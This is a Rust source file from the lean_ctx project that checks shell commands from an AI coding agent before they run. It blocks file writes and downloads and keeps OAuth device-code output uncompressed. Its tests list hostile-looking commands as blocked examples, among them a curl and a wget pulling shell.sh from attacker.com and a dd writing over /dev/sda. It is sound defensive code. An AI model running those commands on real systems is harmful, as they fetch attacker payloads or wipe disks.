Skip to main content

lean_ctx/tools/
ctx_shell.rs

1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5/// Validates a shell command before execution. Returns Some(error_message) if
6/// the command should be rejected, None if it's safe to run.
7pub fn validate_command(command: &str) -> Option<String> {
8    if command.len() > MAX_COMMAND_BYTES {
9        return Some(format!(
10            "ERROR: Command too large ({} bytes, limit {}). \
11             If you're writing file content, use the native Write/Edit tool instead. \
12             ctx_shell is for reading command output only (git, cargo, npm, etc.).",
13            command.len(),
14            MAX_COMMAND_BYTES
15        ));
16    }
17
18    // #931: strip heredoc bodies before the redirect scanner — a `>` inside a
19    // heredoc body is opaque data, not a file-write redirect.
20    let cmd_no_heredoc = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
21    if has_file_write_redirect(&cmd_no_heredoc) {
22        return Some(
23            "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
24             Use the native Write tool to create/modify files. \
25             ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
26             File writes via shell cause MCP protocol corruption on large payloads."
27                .to_string(),
28        );
29    }
30
31    let cmd_lower = command.to_lowercase();
32
33    if cmd_lower.starts_with("tee ") || cmd_lower.contains("| tee ") {
34        return Some(
35            "ERROR: ctx_shell detected a file-write command (tee). \
36             Use the native Write tool to create/modify files. \
37             ctx_shell is ONLY for reading command output."
38                .to_string(),
39        );
40    }
41
42    if is_heredoc_file_write(command) {
43        return Some(
44            "ERROR: ctx_shell detected a heredoc writing to a file. \
45             Use the native Write tool to create/modify files. \
46             ctx_shell is ONLY for reading command output. \
47             Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
48                .to_string(),
49        );
50    }
51
52    if let Some(reason) = download_to_file_reason(command) {
53        return Some(format!(
54            "ERROR: ctx_shell detected a file download/write ({reason}). \
55             ctx_shell is ONLY for reading command output — redirect-free flags bypass \
56             this doctrine, so they are blocked too (GH #391). \
57             Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
58             native tools to create files."
59        ));
60    }
61
62    None
63}
64
65/// Detects download/copy tools writing directly to files via their own flags
66/// (`curl -o`, `wget` default mode, `dd of=`) — the redirect-free equivalent of
67/// `> file`, reported as a `validate_command` bypass in GH #391.
68fn download_to_file_reason(command: &str) -> Option<String> {
69    for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
70        let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
71        let Some(first) = tokens.first() else {
72            continue;
73        };
74        let base = first.rsplit('/').next().unwrap_or(first);
75        match base {
76            "curl" => {
77                for tok in &tokens[1..] {
78                    if tok == "--output"
79                        || tok.starts_with("--output=")
80                        || tok == "--remote-name"
81                        || tok == "--remote-name-all"
82                        || tok == "--output-dir"
83                        || tok.starts_with("--output-dir=")
84                    {
85                        return Some(format!("curl {tok}"));
86                    }
87                    // Short flags cluster: -o / -O anywhere in e.g. `-fsSLo`.
88                    if tok.starts_with('-')
89                        && !tok.starts_with("--")
90                        && tok[1..].contains(['o', 'O'])
91                    {
92                        return Some(format!("curl {tok}"));
93                    }
94                }
95            }
96            "wget" => {
97                // wget writes a file BY DEFAULT; only stdout/no-download modes pass.
98                let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
99                    tok == "--output-document=-"
100                        || tok == "-O-"
101                        || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
102                        || ((tok == "-O" || tok == "--output-document")
103                            && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
104                        || tok == "--spider"
105                });
106                if !to_stdout {
107                    return Some(
108                        "wget downloads to a file by default; use wget -qO- <url> for stdout"
109                            .to_string(),
110                    );
111                }
112            }
113            "dd" => {
114                for tok in &tokens[1..] {
115                    if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
116                        return Some(format!("dd {tok}"));
117                    }
118                }
119            }
120            _ => {}
121        }
122    }
123    None
124}
125
126/// Returns true only for heredocs that redirect to files (the dangerous pattern).
127/// Legitimate heredoc uses (input piping, inline scripts) are allowed through.
128fn is_heredoc_file_write(command: &str) -> bool {
129    let has_heredoc = command.contains("<<");
130    if !has_heredoc {
131        return false;
132    }
133    let cmd_lower = command.to_lowercase();
134    let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
135    let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
136    if !has_known_heredoc {
137        return false;
138    }
139    // #931: strip heredoc bodies so `>` / `>>` inside the body are not
140    // mistaken for file-write redirects.
141    let stripped = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
142    has_file_write_redirect(&stripped)
143}
144
145/// Detects shell redirect operators (`>` or `>>`) that write to files.
146/// Ignores `>` inside quotes, after a backslash escape (`\"` must not toggle
147/// quote state, `\>` is a literal), `2>` (stderr), `/dev/null`, and
148/// comparison operators.
149/// #848: temp directory targets are read-back, not persistent writes.
150pub fn is_temp_redirect_target(target: &str) -> bool {
151    let t = target.trim_start_matches(['>', '&']);
152    let lower = t.to_lowercase();
153    lower.starts_with("/tmp/")
154        || lower.starts_with("/tmp")
155        || lower.contains("\\temp\\")
156        || lower.contains("\\tmp\\")
157        || lower.starts_with("$tmpdir/")
158        || lower.starts_with("${tmpdir}")
159}
160
161fn has_file_write_redirect(command: &str) -> bool {
162    let bytes = command.as_bytes();
163    let len = bytes.len();
164    let mut i = 0;
165    let mut in_single_quote = false;
166    let mut in_double_quote = false;
167
168    while i < len {
169        let c = bytes[i];
170        if c == b'\\' && !in_single_quote {
171            // A backslash escapes the next byte (POSIX: outside quotes and
172            // inside double quotes; inside single quotes it is literal).
173            // Without this, an escaped quote like `\"` toggled the quote
174            // state and literal `>` in quoted prose (e.g. `(root: <root>)`
175            // in a gh --body string) read as a redirect (#903).
176            i += 2;
177            continue;
178        }
179        if c == b'\'' && !in_double_quote {
180            in_single_quote = !in_single_quote;
181        } else if c == b'"' && !in_single_quote {
182            in_double_quote = !in_double_quote;
183        } else if c == b'>' && !in_single_quote && !in_double_quote {
184            if i > 0 && bytes[i - 1] == b'2' {
185                i += 1;
186                continue;
187            }
188            let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
189                i + 2
190            } else {
191                i + 1
192            };
193            let target: String = command[target_start..]
194                .trim_start()
195                .chars()
196                .take_while(|c| !c.is_whitespace())
197                .collect();
198            if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
199                i += 1;
200                continue;
201            }
202            // #848: allow redirects to temp directories — agents capture
203            // build output for grepping, not writing persistent files.
204            if is_temp_redirect_target(&target) {
205                i += 1;
206                continue;
207            }
208            if !target.is_empty() {
209                return true;
210            }
211        }
212        i += 1;
213    }
214    false
215}
216
217/// On Windows cmd.exe, `;` is not a valid command separator.
218/// Convert `cmd1; cmd2` to `cmd1 && cmd2` when running under cmd.exe.
219pub fn normalize_command_for_shell(command: &str) -> String {
220    if !cfg!(windows) {
221        return command.to_string();
222    }
223    let (_, flag) = crate::shell::shell_and_flag();
224    if flag != "/C" {
225        return command.to_string();
226    }
227    let bytes = command.as_bytes();
228    let mut result = Vec::with_capacity(bytes.len() + 16);
229    let mut in_single = false;
230    let mut in_double = false;
231    for (i, &b) in bytes.iter().enumerate() {
232        if b == b'\'' && !in_double {
233            in_single = !in_single;
234        } else if b == b'"' && !in_single {
235            in_double = !in_double;
236        } else if b == b';' && !in_single && !in_double {
237            result.extend_from_slice(b" && ");
238            continue;
239        }
240        result.push(b);
241        let _ = i;
242    }
243    String::from_utf8(result).unwrap_or_else(|_| command.to_string())
244}
245
246/// Compresses shell command output using the unified compression pipeline.
247/// Delegates to the same exit-code-aware logic used by the CLI, so a failed
248/// command (`exit_code != 0`) is preserved verbatim and successful output is
249/// compressed consistently (excluded_commands, structural routing, terse). #810.
250pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
251    crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
252}
253
254#[cfg(test)]
255fn is_search_command(command: &str) -> bool {
256    let cmd = command.trim_start();
257    cmd.starts_with("grep ")
258        || cmd.starts_with("rg ")
259        || cmd.starts_with("find ")
260        || cmd.starts_with("fd ")
261        || cmd.starts_with("ag ")
262        || cmd.starts_with("ack ")
263}
264
265#[cfg(test)]
266fn generic_compress(output: &str) -> String {
267    let output = crate::core::compressor::strip_ansi(output);
268    let lines: Vec<&str> = output
269        .lines()
270        .filter(|l| {
271            let t = l.trim();
272            !t.is_empty()
273        })
274        .collect();
275
276    if lines.len() <= 20 {
277        return lines.join("\n");
278    }
279
280    let show_count = (lines.len() / 3).min(30);
281    let half = show_count / 2;
282    let first = &lines[..half];
283    let last = &lines[lines.len() - half..];
284    let omitted = lines.len() - (half * 2);
285    format!(
286        "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
287        first.join("\n"),
288        half * 2,
289        lines.len(),
290        omitted,
291        last.join("\n")
292    )
293}
294
295/// Detects OAuth device code flow output that must not be compressed.
296/// Uses a two-tier approach: strong signals match alone (very specific to
297/// device code flows), weak signals require a URL/domain in the same output.
298pub fn contains_auth_flow(output: &str) -> bool {
299    let lower = output.to_lowercase();
300
301    const STRONG_SIGNALS: &[&str] = &[
302        "devicelogin",
303        "deviceauth",
304        "device_code",
305        "device code",
306        "device-code",
307        "verification_uri",
308        "user_code",
309        "one-time code",
310    ];
311
312    if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
313        return true;
314    }
315
316    const WEAK_SIGNALS: &[&str] = &[
317        "enter the code",
318        "enter this code",
319        "enter code:",
320        "use the code",
321        "use a web browser to open",
322        "open the page",
323        "authenticate by visiting",
324        "sign in with the code",
325        "sign in using a code",
326        "verification code",
327        "authorize this device",
328        "waiting for authentication",
329        "waiting for login",
330        "waiting for you to authenticate",
331        "open your browser",
332        "open in your browser",
333    ];
334
335    let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
336    if !has_weak_signal {
337        return false;
338    }
339
340    lower.contains("http://") || lower.contains("https://")
341}
342
343#[cfg(test)]
344mod tests {
345    use super::*;
346
347    #[test]
348    fn normalize_cmd_no_change_on_unix() {
349        if cfg!(windows) {
350            return;
351        }
352        assert_eq!(
353            normalize_command_for_shell("cd /tmp; ls -la"),
354            "cd /tmp; ls -la"
355        );
356    }
357
358    #[test]
359    fn validate_allows_safe_commands() {
360        assert!(validate_command("git status").is_none());
361        assert!(validate_command("cargo test").is_none());
362        assert!(validate_command("npm run build").is_none());
363        assert!(validate_command("ls -la").is_none());
364    }
365
366    #[test]
367    fn validate_blocks_file_writes() {
368        assert!(validate_command("echo 'data' > output.txt").is_some());
369        assert!(validate_command("tee /tmp/file.txt").is_some());
370        assert!(validate_command("printf 'hello' > test.txt").is_some());
371    }
372
373    #[test]
374    fn validate_blocks_heredoc_with_file_redirect() {
375        assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
376        assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
377        assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
378    }
379
380    #[test]
381    fn validate_allows_heredoc_without_file_redirect() {
382        assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
383        assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
384        assert!(
385            validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
386        );
387        assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
388    }
389
390    #[test]
391    fn validate_blocks_oversized_commands() {
392        let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
393        let result = validate_command(&huge);
394        assert!(result.is_some());
395        assert!(result.unwrap().contains("too large"));
396    }
397
398    #[test]
399    fn validate_allows_cat_without_redirect() {
400        assert!(validate_command("cat file.txt").is_none());
401    }
402
403    // --- GH #903: literal `>` in quoted prose is not a redirect ---
404
405    #[test]
406    fn validate_allows_escaped_quotes_with_angle_brackets() {
407        // `\"` inside a double-quoted string must not toggle quote state;
408        // the `>` in `<root>` is quoted data, not a redirect.
409        assert!(
410            validate_command(
411                "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
412            )
413            .is_none()
414        );
415        assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
416        // escaped `>` outside quotes is a literal, not a redirect
417        assert!(validate_command("echo a \\> b").is_none());
418    }
419
420    #[test]
421    fn validate_still_blocks_redirect_after_escapes() {
422        // the escape handling must not hide a real redirect later on
423        assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
424        assert!(validate_command("echo \\\\ > out.txt").is_some());
425    }
426
427    // --- GH #897: heredoc-to-stdin and /dev/null redirects are not file writes ---
428
429    #[test]
430    fn heredoc_stdin_without_redirect_is_allowed() {
431        assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
432        assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
433        assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
434    }
435
436    #[test]
437    fn dev_null_redirect_is_allowed() {
438        assert!(validate_command("cat > /dev/null").is_none());
439        assert!(validate_command("cmd > /dev/null 2>&1").is_none());
440        assert!(validate_command("cmd 2>/dev/null").is_none());
441    }
442
443    #[test]
444    fn dev_stdout_and_stderr_redirects_are_allowed() {
445        assert!(validate_command("cmd > /dev/stdout").is_none());
446        assert!(validate_command("cmd > /dev/stderr").is_none());
447    }
448
449    #[test]
450    fn issue_897_edge_cases_post_fix() {
451        assert!(
452            validate_command(
453                "cat <<'EOF' > output.txt
454some content
455EOF"
456            )
457            .is_some(),
458            "heredoc to file must block"
459        );
460        assert!(
461            validate_command(
462                "git commit --allow-empty -F - <<'COMMIT_MSG'
463feat: test
464COMMIT_MSG"
465            )
466            .is_none(),
467            "git commit -F - with heredoc must allow"
468        );
469        let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
470        assert!(
471            validate_command(cmd).is_none(),
472            "quoted > must allow: {cmd}"
473        );
474    }
475
476    // --- GH #391: download tools writing files without shell redirects ---
477
478    #[test]
479    fn validate_blocks_curl_output_flags() {
480        assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_some());
481        assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_some());
482        assert!(validate_command("curl --output evil.bin https://example.com").is_some());
483        assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
484        assert!(validate_command("curl -O https://example.com/payload").is_some());
485        assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
486    }
487
488    #[test]
489    fn validate_allows_curl_to_stdout() {
490        assert!(validate_command("curl https://api.example.com/health").is_none());
491        assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
492        assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
493        // -H takes a value; no o/O short flag involved.
494        assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
495    }
496
497    #[test]
498    fn validate_blocks_wget_default_file_download() {
499        assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
500        assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
501        assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
502    }
503
504    #[test]
505    fn validate_allows_wget_stdout_and_spider() {
506        assert!(validate_command("wget -qO- https://example.com").is_none());
507        assert!(validate_command("wget -O- https://example.com").is_none());
508        assert!(validate_command("wget -O - https://example.com").is_none());
509        assert!(validate_command("wget --output-document=- https://example.com").is_none());
510        assert!(validate_command("wget --spider https://example.com").is_none());
511    }
512
513    #[test]
514    fn validate_blocks_dd_output_file() {
515        assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
516        assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
517    }
518
519    #[test]
520    fn validate_allows_dd_read_only() {
521        assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
522        assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
523    }
524
525    // --- Auth flow detection: strong signals (no URL needed) ---
526
527    #[test]
528    fn auth_flow_detects_azure_device_code() {
529        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
530        assert!(contains_auth_flow(output));
531    }
532
533    #[test]
534    fn auth_flow_detects_gh_auth_one_time_code() {
535        let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
536        assert!(contains_auth_flow(output));
537    }
538
539    #[test]
540    fn auth_flow_detects_device_code_json() {
541        let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
542        assert!(contains_auth_flow(output));
543    }
544
545    #[test]
546    fn auth_flow_detects_verification_uri_field() {
547        let output =
548            r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
549        assert!(contains_auth_flow(output));
550    }
551
552    #[test]
553    fn auth_flow_detects_user_code_field() {
554        let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
555        assert!(contains_auth_flow(output));
556    }
557
558    // --- Auth flow detection: weak signals (require URL) ---
559
560    #[test]
561    fn auth_flow_detects_gcloud_with_url() {
562        let output = "Go to the following link in your browser:\n\n    https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
563        assert!(contains_auth_flow(output));
564    }
565
566    #[test]
567    fn auth_flow_detects_aws_sso_with_url() {
568        let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
569        assert!(contains_auth_flow(output));
570    }
571
572    #[test]
573    fn auth_flow_detects_firebase_with_url() {
574        let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
575        assert!(contains_auth_flow(output));
576    }
577
578    #[test]
579    fn auth_flow_detects_generic_browser_open_with_url() {
580        let output =
581            "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
582        assert!(contains_auth_flow(output));
583    }
584
585    // --- False positive protection ---
586
587    #[test]
588    fn auth_flow_ignores_normal_build_output() {
589        let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
590        assert!(!contains_auth_flow(output));
591    }
592
593    #[test]
594    fn auth_flow_ignores_git_output() {
595        let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
596        assert!(!contains_auth_flow(output));
597    }
598
599    #[test]
600    fn auth_flow_ignores_npm_install_output() {
601        let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
602        assert!(!contains_auth_flow(output));
603    }
604
605    #[test]
606    fn auth_flow_ignores_docs_mentioning_auth() {
607        let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
608        assert!(!contains_auth_flow(output));
609    }
610
611    #[test]
612    fn auth_flow_weak_signal_requires_url() {
613        let output = "Please enter the code ABC123 in the terminal";
614        assert!(!contains_auth_flow(output));
615    }
616
617    #[test]
618    fn auth_flow_weak_signal_without_url_is_ignored() {
619        let output = "Waiting for authentication to complete... done!";
620        assert!(!contains_auth_flow(output));
621    }
622
623    #[test]
624    fn auth_flow_ignores_virtualenv_activate() {
625        let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
626        assert!(!contains_auth_flow(output));
627    }
628
629    #[test]
630    fn auth_flow_ignores_api_response_with_code_field() {
631        let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
632        assert!(!contains_auth_flow(output));
633    }
634
635    // --- Integration: handle() preserves auth flow ---
636
637    #[test]
638    fn handle_preserves_auth_flow_output_fully() {
639        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
640        // az login is Passthrough via OutputPolicy, so all content is preserved
641        let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
642        assert!(result.contains("ABCD1234"), "auth code must be preserved");
643        assert!(result.contains("devicelogin"), "URL must be preserved");
644        assert!(
645            result.contains("Line 13"),
646            "all lines must be preserved (no truncation)"
647        );
648    }
649
650    #[test]
651    fn handle_compresses_normal_output_not_auth() {
652        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
653        let output = lines.join("\n");
654        let result = handle("some-tool check", &output, 0, CrpMode::Off);
655        assert!(
656            !result.contains("auth/device-code flow detected"),
657            "normal output must not trigger auth detection"
658        );
659        assert!(
660            result.len() < output.len() + 100,
661            "normal output should be compressed, not inflated"
662        );
663    }
664
665    #[test]
666    fn is_search_command_detects_grep() {
667        assert!(is_search_command("grep -r pattern src/"));
668        assert!(is_search_command("rg pattern src/"));
669        assert!(is_search_command("find . -name '*.rs'"));
670        assert!(is_search_command("fd pattern"));
671        assert!(is_search_command("ag pattern src/"));
672        assert!(is_search_command("ack pattern"));
673    }
674
675    #[test]
676    fn is_search_command_rejects_non_search() {
677        assert!(!is_search_command("cargo build"));
678        assert!(!is_search_command("git status"));
679        assert!(!is_search_command("npm install"));
680        assert!(!is_search_command("cat file.rs"));
681    }
682
683    #[test]
684    fn generic_compress_preserves_short_output() {
685        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
686        let output = lines.join("\n");
687        let result = generic_compress(&output);
688        assert_eq!(result, output);
689    }
690
691    #[test]
692    fn generic_compress_scales_with_length() {
693        let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
694        let output = lines.join("\n");
695        let result = generic_compress(&output);
696        assert!(result.contains("truncated"));
697        let shown_count = result.lines().count();
698        assert!(
699            shown_count > 10,
700            "should show more than old 6-line limit, got {shown_count}"
701        );
702        assert!(shown_count < 60, "should be truncated, not full output");
703    }
704
705    #[test]
706    fn handle_preserves_search_results() {
707        let lines: Vec<String> = (1..=30)
708            .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
709            .collect();
710        let output = lines.join("\n");
711        let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
712        for i in 1..=30 {
713            assert!(
714                result.contains(&format!("file{i}")),
715                "search result file{i} should be preserved in output"
716            );
717        }
718    }
719
720    // --- GH #931: unquoted heredoc body > must not trip redirect scanner ---
721
722    #[test]
723    fn unquoted_heredoc_gt_in_body_not_blocked() {
724        let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
725        assert!(
726            validate_command(cmd).is_none(),
727            "unquoted heredoc body with > must not be flagged as redirect"
728        );
729    }
730
731    #[test]
732    fn unquoted_heredoc_append_in_body_not_blocked() {
733        let cmd = "cat <<END\nline with >> inside\nEND";
734        assert!(
735            validate_command(cmd).is_none(),
736            "unquoted heredoc body with >> must not be flagged"
737        );
738    }
739
740    #[test]
741    fn real_redirect_after_heredoc_still_blocked() {
742        let cmd = "cat <<EOF > output.txt\ndata\nEOF";
743        assert!(
744            validate_command(cmd).is_some(),
745            "redirect OUTSIDE heredoc body must still block"
746        );
747    }
748}